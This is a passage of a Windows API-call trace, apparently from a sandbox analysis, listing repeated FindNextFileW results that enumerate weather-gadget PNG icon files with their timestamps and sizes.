dwReserved1=0x0, cFileName="9.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5422af, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc5422af, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd8aee9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3032, dwReserved0=0x0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd27fcb6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd27fcb6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd8d4ffc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="alertIcon.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd0dcda1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd0dcda1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd8d4ffc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcde, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_down.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd12905f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd12905f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd8d4ffc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_down_BIDI.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd12905f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd12905f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd8fb15c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_over.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd102f00, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd102f00, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd9936dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_up.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd17531d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd17531d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbda05afc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_down.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd19b47c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd19b47c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbda2bc5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_down_BIDI.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd19b47c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd19b47c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbda9e07c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xde7, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_over.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1e773a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd1e773a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbda9e07c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_over_BIDI.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd14f1be, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd14f1be, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdac41dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_up.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1c15db, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd1c15db, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdac41dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_up_BIDI.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd259b57, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd259b57, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdb828bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xafe, dwReserved0=0x0, dwReserved1=0x0, cFileName="divider-horizontal.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd27fcb6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd27fcb6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdb828bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xafd, dwReserved0=0x0, dwReserved1=0x0, cFileName="divider-vertical.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd20d899, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd20d899, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdbceb7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2261, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked-loading.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb81c45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcb81c45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdbceb7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x274e, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_cloudy.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbcdf03, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcbcdf03, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdbf4cdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2685, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_few-showers.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbcdf03, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcbcdf03, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdbf4cdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2930, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_foggy.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbf4062, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcbf4062, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdc1ae3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2e6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_hail.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc1a1c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcc1a1c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdc1ae3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-first-quarter.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc1a1c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcc1a1c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdc1ae3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2ace, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-first-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc40320, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcc40320, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdc40f9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2264, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-full.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc6647f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcc6647f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdc40f9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-full_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc8c5de, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcc8c5de, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdcff67c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x21ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-last-quarter.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccb273d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbccb273d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdcff67c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-last-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccb273d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbccb273d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdcff67c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x251a, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-new.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccd889c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbccd889c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdd257dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2d6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-new_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccfe9fb, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbccfe9fb, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdd257dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2334, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-crescent.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcd24b5a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcd24b5a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbddbdd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2c73, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcd24b5a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcd24b5a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdde3ebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x21bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-gibbous.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcd70e18, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcd70e18, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdde3ebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b35, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcd70e18, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcd70e18, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde0a01c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x22a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-crescent.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcd96f77, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcd96f77, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde0a01c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdbd0d6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcdbd0d6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde0a01c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2203, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-gibbous.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdbd0d6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcdbd0d6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde0a01c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce2f4f3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbce2f4f3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde3017c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3173, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_rainy.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce2f4f3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbce2f4f3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde3017c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3369, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_snow.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcea1910, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcea1910, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde3017c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2fcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_thunderstorm.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbceedbce, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbceedbce, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde562dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3229, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_windy.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf13d2d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf13d2d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdea259c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x21a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf5ffeb, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf5ffeb, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdea259c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2ea3, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_snow.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfac2a9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcfac2a9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdec86fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2ce5, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_sun.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcff8567, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcff8567, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdec86fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x32c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_windy.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd01e6c6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd01e6c6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdec86fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2929, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_cloudy.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd044825, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd044825, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdec86fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x29d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_few-showers.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd06a984, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd06a984, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdeee85c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x273c, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_foggy.png", 